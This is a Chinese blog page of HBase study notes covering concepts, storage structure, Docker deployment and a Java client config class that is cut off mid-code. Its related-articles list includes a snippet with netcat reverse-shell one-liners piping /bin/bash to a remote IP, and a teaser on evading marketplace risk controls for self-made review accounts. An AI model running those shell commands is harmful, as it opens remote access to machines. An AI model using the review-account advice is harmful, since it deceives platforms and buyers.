Hbase学习笔记

news/2024/5/18 23:12:10

Hbase是什么

HBase是一个高可靠、高性能、面向列、可伸缩的分布式存储系统。它利用Hadoop HDFS作为其文件存储系统，并提供实时的读写的数据库系统。HBase的设计思想来源于Google的BigTable论文，是Apache的Hadoop项目的子项目。它适合于存储大表数据，并可以达到实时级别。HBase不同于一般的关系数据库，它基于列而不是基于行的模式，并且主要用来存储非结构化和半结构化的松散数据。

HBase的扩展性主要体现在两个方面：一是基于运算能力（RegionServer）的扩展，通过增加RegionServer节点的数量来提升HBase上层的处理能力；二是基于存储能力的扩展（HDFS），通过增加DataNode节点数量对存储层进行扩容，从而提升HBase的数据存储能力。

总的来说，HBase是一个功能强大的分布式存储系统，适用于处理大规模、实时、非结构化的数据。

为什么要使用Hbase

使用HBase的主要原因可以归结为以下几点：

  1. 面向列的存储：传统的关系型数据库（RDBMS）是面向行的存储，而HBase是面向列的存储。这种设计使得HBase在读取数据时只需要读取感兴趣的列，而不是整行数据，从而大大提高了读取效率。同时，列式存储也更适合于稀疏数据的存储，因为它只存储实际存在的数据，减少了存储空间的使用。

  2. 可扩展性：HBase是分布式存储系统，可以很容易地通过增加节点来扩展其存储和计算能力。这种扩展性使得HBase能够处理PB级别的数据，并应对高并发的读写请求。

  3. 实时性：HBase提供了实时的读写能力，使得数据可以被快速地插入、更新和查询。这对于需要实时分析或处理大量数据的场景来说非常重要。

  4. 容错性：HBase建立在Hadoop HDFS之上，继承了HDFS的高容错性。数据在HBase中会被复制并存储在多个节点上，即使部分节点出现故障，数据也不会丢失，保证了数据的可靠性。

  5. 灵活性：HBase支持动态列，这意味着列可以在运行时添加或删除，而无需预先定义表结构。这种灵活性使得HBase能够适应不断变化的数据需求。

  6. 社区支持：HBase是Apache的一个开源项目，有着庞大的用户群体和活跃的开发者社区。这意味着当遇到问题时，可以很容易地找到解决方案或得到社区的帮助。

  7. 与Hadoop生态集成：HBase与Hadoop生态系统中的其他组件（如MapReduce、Spark等）紧密集成，可以方便地利用这些组件进行数据处理和分析。

综上所述，HBase的这些优势使得它成为处理大规模、实时、非结构化数据的理想选择，广泛应用于大数据处理、实时分析、日志存储等领域。

什么时候可以用Hbase

HBase在以下场景中特别适用：

  1. 大数据存储：当数据量非常大，达到PB级别时，传统的关系型数据库可能无法满足存储需求。HBase作为分布式存储系统，可以轻松地扩展存储能力，处理大规模数据。

  2. 实时读写：对于需要实时或近乎实时地处理大量数据读写操作的场景，HBase的实时性能力使其成为一个很好的选择。它可以迅速响应读取和写入请求，满足实时分析、日志记录等需求。

  3. 列式存储需求：当数据具有稀疏性，或者只需要读取特定列的数据时，面向列的存储方式更加高效。HBase的列式存储设计可以减少不必要的I/O操作，提高查询效率。

  4. 非结构化或半结构化数据存储：对于没有固定模式或结构的数据，传统的关系型数据库可能不太适用。HBase可以灵活地处理这类数据，不需要预先定义严格的表结构。

  5. 与Hadoop生态集成：如果你已经在使用Hadoop或相关的组件（如MapReduce、Spark等），HBase可以与这些工具无缝集成，方便地进行数据处理和分析。

  6. 高并发访问：对于需要处理大量并发读写请求的应用，HBase的分布式架构可以提供高并发处理能力，确保系统的稳定性和性能。

  7. 容错和可靠性要求：HBase建立在Hadoop HDFS之上，具有高度的容错性和可靠性。即使部分节点出现故障，数据也不会丢失，保证了数据的持久性和可用性。

综上所述，当面对大数据存储、实时读写、列式存储需求、非结构化或半结构化数据存储、与Hadoop生态集成、高并发访问以及容错和可靠性要求等场景时，可以考虑使用HBase作为解决方案。

怎么使用Hbase

Hbase的核心概念

HBase 是一个开源的非关系型分布式数据库（NoSQL），它运行在 Hadoop 分布式文件系统（HDFS）之上，是 Apache 的 Hadoop 项目的一部分。HBase 提供了对大规模数据集的随机实时读/写访问，并且是一个面向列的数据库，它通过列簇（Column Family）来存储数据。

以下是 HBase 中的一些核心概念：

  1. 列簇（Column Family）：

    • 在 HBase 中，列簇是表的一个逻辑分组，包含那些在存储和访问上拥有共同特性的列。数据在列簇级别进行压缩和存储，因此推荐将经常一起被访问的列放在同一个列簇中。

  2. RowKey：

    • RowKey 是 HBase 表中的主键，用于唯一标识每一行数据。它是一个二进制数组，可以是任意字符串，且在表中按照字典顺序进行排序。RowKey 的设计对于查询性能至关重要，因为 HBase 支持基于 RowKey 的单行查询和范围扫描。

  3. Timestamp（时间戳）：

    • 每个单元格（Cell）中的数据都有一个时间戳，它允许 HBase 存储同一 RowKey 下的多个版本的数据。时间戳默认由 HBase 在数据写入时自动赋值，用户也可以自定义时间戳。

  4. Cell：

    • HBase 中的 Cell 是由行键、列簇、列限定符（Column Qualifier）和时间戳唯一确定的数据单元。Cell 中的数据未解析，全部以字节码形式存储。

  5. Region：

    • HBase 表的水平切片称为 Region，每个 Region 负责一定范围的 RowKey。随着数据量的增长，表可以分裂成更多的 Region 以支持数据的水平扩展。

  6. HLog（Write-Ahead Log，预写日志）：

    • HLog 是 HBase 的一种日志系统，用于记录对数据库的所有修改操作，确保在系统故障时能够恢复数据。

  7. HMaster 和 HRegionServer：

    • HMaster 负责管理集群的元数据和监控所有 HRegionServer 的状态。HRegionServer 负责处理对数据的读写请求，以及与底层 HDFS 的交互。

  8. HDFS（Hadoop Distributed File System）：

    • HBase 依赖于 HDFS 作为其底层存储系统，HDFS 提供了高可靠性和可扩展性的数据存储。

  9. ZooKeeper：

    • HBase 使用 ZooKeeper 来进行集群协调，如 RegionServer 的监控、元数据的入口以及集群配置的维护。

这些概念共同构成了 HBase 数据模型和架构的基础，使其能够有效地存储和处理大规模数据集。

Hbase的存储结构

HBase 是一个分布式的、面向列的数据库，其存储结构设计用于高效地处理大量数据。以下是 HBase 的主要存储结构组件：

  1. HDFS (Hadoop Distributed File System)：

    • HBase 依赖于 HDFS 作为其底层存储系统。HDFS 负责数据的可靠存储，并将数据分散在多个廉价的硬件设备上，以实现高吞吐量的数据访问。

  2. Table：

    • HBase 中的表是数据的集合，类似于关系型数据库中的表。HBase 表不要求有预定义的模式，可以动态地添加列。

  3. Region：

    • HBase 表是水平分割的，每个分割的部分称为 Region。每个 Region 负责存储表中一定范围的行，由 RowKey 确定。当 Region 增长到一定大小后，会自动分裂成两个新的 Region，以保持系统的可扩展性。

  4. Store：

    • Store 是 Region 中的一个存储单元，对应于表中的一个列簇（Column Family）。Store 由 MemStore 和 StoreFile 组成。

  5. MemStore：

    • MemStore 是一种内存缓存，用于暂存最近写入的数据。当数据通过 HBase API 写入时，首先写入 MemStore，直到 MemStore 达到一定阈值后，数据会被刷新到 StoreFile。

  6. StoreFile：

    • StoreFile 是 MemStore 刷新到磁盘上的文件，以 HFile 格式存储。StoreFile 是不可变的，一旦创建，其内容就不会改变。

  7. HFile：

    • HFile 是 HBase 中的底层存储文件格式，用于存储键值对数据。HFile 支持快速的随机读取。

  8. Compaction：

    • 随着时间的推移，Store 中会积累许多小的 StoreFile，这会导致读取操作效率降低。因此，HBase 会定期执行 Compaction 操作，将多个 StoreFile 合并成少数几个大的 StoreFile。

  9. HLog (Write-Ahead Log)：

    • HLog 是 HBase 的日志系统，用于记录对数据的所有变更操作。在数据写入 MemStore 之前，先写入 HLog，以确保在系统故障时能够恢复数据。

  10. ZooKeeper：

    • HBase 使用 ZooKeeper 进行集群协调，如监控 RegionServer 的状态、管理元数据等。

  11. HMaster：

    • HMaster 负责管理集群的元数据信息，监控所有 RegionServer 的状态，并负责 Region 的分配和负载均衡。

  12. HRegionServer：

    • HRegionServer 是 HBase 中负责处理客户端读写请求的进程，每个 HRegionServer 管理一部分表的 Region。

HBase 的存储结构设计允许它高效地处理大数据，并且具有良好的扩展性。通过 Region 的自动分裂和合并，以及 MemStore 和 StoreFile 的使用，HBase 能够支持高并发的数据读写操作。同时，HLog 保证了数据的持久性和一致性。

Hbase数据表特点

HBase 最基本的单元是列（colume），一个列或者多个列形成一行。每个行（row）都拥有唯一的行键（row key）来标定这个行的唯一性。每个列都有多个版本，多个版本的值存储在单元格（cell）中。若干个列又可以被归类为一个列族。

在这里插入图片描述
在这里插入图片描述

与传统的关系型数据库对比：

  1. 传统数据库是严格的行列对齐。比如这行有三列 a、b、c，下行肯定也有三列 a、b、c。其中每个行都是不可分割的，也就是说三个列必须在一起，而且要被存储在同一台机器上，甚至是同一个文件里面
  2. HBase 中行跟行的列可以完全不一样，比如这一行有三列 a、b、c，下一个行也许是 4 列 a、e、f、g。并且这个行的数据跟另一个行的数据也可以存储在不同的机器上，甚至同一个行内的列也可以存储在完全不同的机器上
  3. 行键（rowkey）
    3.1 rowkey 类似 MySQL、Oracle 中的主键，不过它是由用户指定的一串不重复的字符串，规则随我们定义。在 HBASE 内部，RowKey 保存为字节数组
    3.2 RowKey 可以是任意字符串（最大长度是 64KB，实际应用中长度一般为 10-100bytes）
    3.3 rowkey 决定这个 row 的存储位置。HBase 中无法根据某个 column 来排序，系统永远是根据 rowkey 来排序的，排序规则为：根据字典排序。因此设计 RowKey 时，要充分利用排序存储这个特性，将经常一起读取的行存储放到一起。(位置相关性)
    3.4 访问 HBASE table 中的行，只有三种方式
    3.4.1 通过单个 RowKey 访问
    3.4.2 通过 RowKey 的 range（正则）
    3.4.3 全表扫描
  4. 插入 HBase 的时候，如果用了之前已经存在的 rowkey 的话，会把之前存在的那个 row 更新掉。更新后之前存在的值并不会丢掉，而是会被放在这个单元格的历史记录里面，只是我们需要带上版本参数才可以找到这个值
  5. 列族（column family）
    5.1 在 HBase 中，若干列可以组成列族。或者说表中的每个列，都归属于某个列族
    5.2 建表的时候我们不需要指定列，因为列是可变的。但是一个表有几个列族必须一开始就定好
    5.3 表的许多属性，比如过期时间、数据块缓存以及是否压缩等都定义在列族上，而不是定义在表或者列上
    5.4 同一个表里的不同列族可以有完全不同的属性配置，但是同一个列族内的所有列都会有相同的属性
    5.5 列名都以列族作为前缀。例如 courses:history、courses:math 都属于 courses 这个列族
    5.6 列族存在的意义是：HBase 会把相同列族的列尽量放在同一台机器上。所以如果想让某几个列被放在一起，我们就要给他们定义相同的列族
  6. 单元格（cell）
    6.1 虽然列已经是 HBase 的最基本单位，但一个列上可以存储多个版本的值，多个版本的值被存储在多个单元格里，多个版本之间用版本号（Version）来区分
    6.2 唯一确认一条结果的表达式应该是“行键:列族:列:版本号”（rowkey:column family:column:version）
    6.3 版本通过时间戳来索引。时间戳的类型是 64 位整型。这个时间戳默认由 Habse（在数据写入时自动）赋值，也可以由用户指定
    6.4 每个 cell 中，不同版本的数据按照时间倒序排序，即最新的数据排在最前面
    6.5 为了避免数据存在过多版本造成的的管理 (包括存贮和索引)负担，HBASE 提供了两种数据版本回收方式。一是保存数据的最后 n 个版本，二是保存最近一段时间内的版本（比如最近七天）。 用户可以针对每个列族进行设置

使用docker部署Hbase

  1. 先部署并启动hbase容器
docker run -d -h docker-hbase -p 2181:2181 -p 8080:8080 -p 8085:8085 -p 9090:9090 -p 9000:9000 -p 9095:9095 -p 16000:16000 -p 16010:16010 -p 16201:16201 -p 16301:16301 -p 16020:16020 --name hbase harisekhon/hbase
  1. 进入hbase容器内部执行一些命令
执行 docker ps ，查看 【容器id】执行 docker exec -it 【容器id】 bash ，进入到镜像内部的bash命令行执行 hbase shell ,等待几秒，提示ok后执行 exit执行 hbase zkcli ,等待几秒，提示ok后执行 exit
  1. 配置linux hosts文件
hosts文件中添加上
127.0.0.1     docker-hbase
  1. 先查询linux服务器ip ,然后配置win11 hosts文件
hosts文件中添加上
服务器ip       docker-hbase
  1. 浏览器访问hbase web监控页面
http://docker-hbase:16010/master-status

在java代码中使用hbase-client操作hbase数据库

引入pom依赖

<dependency><groupId>org.apache.hbase</groupId><artifactId>hbase-client</artifactId><version>2.1.3</version><exclusions><!-- 这里要排除一些依赖，否则会导致springboot报错 --><exclusion><groupId>org.slf4j</groupId><artifactId>slf4j-log4j12</artifactId></exclusion><exclusion><groupId>log4j</groupId><artifactId>log4j</artifactId></exclusion><exclusion><groupId>javax.servlet</groupId><artifactId>servlet-api</artifactId></exclusion></exclusions></dependency>

编写自定义HBaseConfig配置类

package org.example.demo2024.hbase;import org.apache.hadoop.hbase.HBaseConfiguration;
import org.apache.hadoop.hbase.client.Admin;
import org.apache.hadoop.hbase.client.Connection;
import org.apache.hadoop.hbase.client.ConnectionFactory;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;import java.io.IOException;
import java.util.HashMap;
import java.util.Map;/*** @program: demo24* @description:* @author: 作者名* @create: 2024/04/23*/
@Configuration
@ConfigurationProperties(prefix = "hbase")
public class HBaseConfig {private Map<String, String> config = new HashMap<>();public Map<String, String> getConfig() {return config;}public void setConfig(Map<String, String> config) {this.config = config;}public org.apache.hadoop.conf.Configuration configuration() {org.apache.hadoop.conf.Configuration configuration = HBaseConfiguration.create();for(Map.Entry<String, String> map : config.entrySet()){configuration.set(map.getKey(), map.getValue());}return configuration;}@Beanpublic Admin admin() {Admin admin = null;try {Connection connection = ConnectionFactory.createConnection(configuration());admin = connection.getAdmin();} catch (IOException e) {

http://www.mrgr.cn/p/27824728

相关文章

深度神经网络（DNN）

深度神经网络（DNN）

通过5个条件判定一件事情是否会发生&#xff0c;5个条件对这件事情是否发生的影响力不同&#xff0c;计算每个条件对这件事情发生的影响力多大&#xff0c;写一个深度神经网络&#xff08;DNN&#xff09;模型程序,最后打印5个条件分别的影响力。 示例 在深度神经网络&#xf…
阅读更多...
栈（Stack）的原理与代码实现

栈（Stack）的原理与代码实现

介绍栈的原理，并分别使用数组和链表实现栈的结构。栈（stack） 原理说明： ​ 学习数据结构的目的是为了更好的处理和存储数据，对于顺序表而言改查比较容易，增删比较麻烦，对于链式表而言，增删比较简单，改查比较麻烦，所以每种数据结构都有不同的特点，用户需要选择合适的…
阅读更多...
eBay、亚马逊自养号测评如何避免风控账号关联选择合适网络IP环境

eBay、亚马逊自养号测评如何避免风控账号关联选择合适网络IP环境

在自养号下单中选择适合的网络环境至关重要。经过多次实践与测试&#xff0c;积累了大量的经验&#xff0c;希望能够与大家分享&#xff0c;帮助大家避开陷阱&#xff0c;顺利前行。 市面上的网络环境种类繁多&#xff0c;从纯IP类的Luminati、Rola&#xff0c;到纯环境类的VM…
阅读更多...
linux centos8 系统扩容 VMware Centos---VMware ESXi

linux centos8 系统扩容 VMware Centos---VMware ESXi

linux 系统扩容 VMware Centos---VMware ESXi 用到的命令 df fdisk pvcreate pvdisplay vgdisplay vgextend lvdisplay lvextend resize2fs 01) 使用了一段时间虚拟机后发现磁盘不够用了,需要扩容。在客户端操作扩容出现磁盘已成功扩展。 您必须从客户机操作系…
阅读更多...
使用 Redis 实现限流——滑动窗口算法

使用 Redis 实现限流——滑动窗口算法

用 Go 语言实现滑动窗口限流算法，并利用 Redis 作为存储后端，可以按照以下步骤进行设计和编码。滑动窗口限流的核心思想是维护一个固定时间窗口，并在窗口内记录请求次数，当窗口滑动时，旧的请求计数被移除，新的请求计数被添加。这里以 Redis 的有序集合（Sorted Set，简称…
阅读更多...
Tomcat调优总结（Tomcat自身优化、Linux内核优化、JVM优化）【转】

Tomcat调优总结（Tomcat自身优化、Linux内核优化、JVM优化）【转】

Tomcat自身的调优是针对conf/server.xml中的几个参数的调优设置。首先是对这几个参数的含义要有深刻而清楚的理解。以tomcat8.5为例，讲解参数。 同时也得认识到一点，tomcat调优也受制于linux内核。linux内核对tcp连接也有几个参数可以调优。 因此我们可以将tomcat调优分为lin…
阅读更多...
提升工作效率必备，桌面待办事项提醒软件

提升工作效率必备，桌面待办事项提醒软件

在快节奏的现代社会，提升工作效率成为众多上班族的共同追求。有效的时间管理、合理的工作计划和正确的工具选择，是实现高效工作的三大关键。尤其是选择一款优秀的待办事项管理软件，能够极大地助力我们提升工作效率。 而我在网上找到了一款提升工作效率必备神器软件，它就是2…
阅读更多...
S3-FIFO

S3-FIFO

S3-FIFO 本文作为下一篇缓存文章的预备知识。 背景 基于LRU和FIFO的驱逐 FIFO和LRU都是经典的缓存驱逐算法，在过去几十年中也出现了很多追求更高效率的驱逐算法，如ARC, 2Q, LIRS, TinyLFU。传统观点认为，基于LRU的缓冲未命中率要低于基于FIFO的算法，如CLOCK，这类高级算法通…
阅读更多...
python读取yaml配置文件的方法

python读取yaml配置文件的方法

yaml简介1.yaml [ˈjməl]: Yet Another Markup Language ：另一种标记语言。yaml 是专门用来写配置文件的语言，非常简洁和强大,之前用ini也能写配置文件，看了yaml后，发现这个更直观，更方便，有点类似于json格式 2.yaml基本语法规则： 大小写敏感 使用缩进表示层级关系 缩进…
阅读更多...
kali /mac 成功的反弹shell语句

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…
阅读更多...
信号量（Semaphores）

信号量（Semaphores）

信号量与pv操作信号量信号量(Semaphore)是一种比互斥锁更强大的同步工具，它可以提供更加高级的方法来同步并发进程。 A semaphore S is an integer variable that ,apart from initialization(初始化)，is accessed only through two standard atomic operations:P VP:wait() …
阅读更多...
对象和类

对象和类

private关键字 构造方法 this关键字 局部变量: 方法体中的变量 成员变量: 类中定义的变量(属性) 输出时采用就近原则:即距离输出语句近的 想让他使用属性中同名的变量加上this关键字
阅读更多...
nginx 配置 SSL 证书实现 https 访问

nginx 配置 SSL 证书实现 https 访问

nginx 配置SSL证书实现https访问 1. SSL 证书简介与获取1.1 SSL 证书介绍1.2 获取 SSL 证书 2. nginx 配置 SSL 文件2.1 SSL 文件放置与配置文件修改2.1.1 文件配置2.1.2 强制 https 访问 2.2 验证配置结果 同步发布在个人笔记 nginx 配置 SSL 证书实现 https 访问 配置好 ngi…
阅读更多...
GaussDB数据库SQL系列-聚合函数

GaussDB数据库SQL系列-聚合函数

背景 在这篇文章中&#xff0c;我们将深入探讨GaussDB数据库中聚合函数的使用和优化。聚合函数是数据库查询中非常重要的工具&#xff0c;它们可以对一组值执行计算并返回单个值。例如&#xff0c;聚合函数可以用来计算平均值、总和、最大值和最小值。 这些功能在数据分析和报…
阅读更多...
Python 彩色字体输出

Python 彩色字体输出

使用ANSI转译码给print添加颜色 公式 \033[显示方式；字体颜色；背景色m输出内容\033[0m公式参数解析\033 : ANSI转义序列开始标识 [ ：控制码 用于控制字体方式、颜色、背景色（控制码对应参数值是唯一的 所以仅设置一个参数时 其他参数可以省略 不用空占用） m ：控制…
阅读更多...
数据库管理-第176期 浅析代码团队建设（20240425）

数据库管理-第176期 浅析代码团队建设（20240425）

数据库管理176期 2024-04-25 数据库管理-第176期 浅析代码团队建设&#xff08;20240425&#xff09;1 国内现状2 需求管控3 竞争与迭代总结 数据库管理-第176期 浅析代码团队建设&#xff08;20240425&#xff09; 作者&#xff1a;胖头鱼的鱼缸&#xff08;尹海文&#xff09…
阅读更多...
大数据真题讲解系列——拼多多数据分析面试题

大数据真题讲解系列——拼多多数据分析面试题

拼多多数据分析面试题&#xff1a;连续3次为球队得分的球员名单 问题&#xff1a; 两支篮球队进行了激烈的比赛&#xff0c;比分交替上升。比赛结束后&#xff0c;你有一个两队分数的明细表&#xff08;名称为“分数表”&#xff09;。表中记录了球队、球员号码、球员姓名、得…
阅读更多...
MySQL中实现支持Emoji表情存储

MySQL中实现支持Emoji表情存储

MySQL中实现支持Emoji表情的存储 要让MySQL支持Emoji，详细步骤： 步骤1：确认MySQL版本 确保您使用的MySQL版本至少为5.5.3，因为这是开始支持utf8mb4字符集的起始版本。如果您当前的版本低于此要求，您需要先升级MySQL到一个支持utf8mb4的较新版本。 步骤2：检查现有表结构 查…
阅读更多...
凭证管理揭秘：Cookie-Session 与 JWT 方案的对决

凭证管理揭秘：Cookie-Session 与 JWT 方案的对决

在软件架构中，关于凭证如何存储和传递，一直有两种不同的解决思路，两种不同的解决方式，实际上反映了两种不同的架构思路概述 在上一篇文章我们聊完了授权的过程，在服务器对客户端完成授权之后，服务器会给客户端颁发对应的凭证，客户端持有该凭证访问服务端，服务器便能知道…
阅读更多...
RAID软件磁盘阵列

RAID软件磁盘阵列

RAID软件磁盘阵列 目录RAID软件磁盘阵列一、RAID概述1、RAID的概念2、RAID 中主要有三个关键概念和技术二、常用RAID介绍1、RAID 0 （条带化存储）— 性能最佳2、RAID 1（镜像存储）— 完整备份3、RAID 5 性能与数据备份的均衡考虑4、RAID 1 + 0（先做镜像，再做条带）5、总结…
阅读更多...
推荐文章

Copyright @ 2022~2023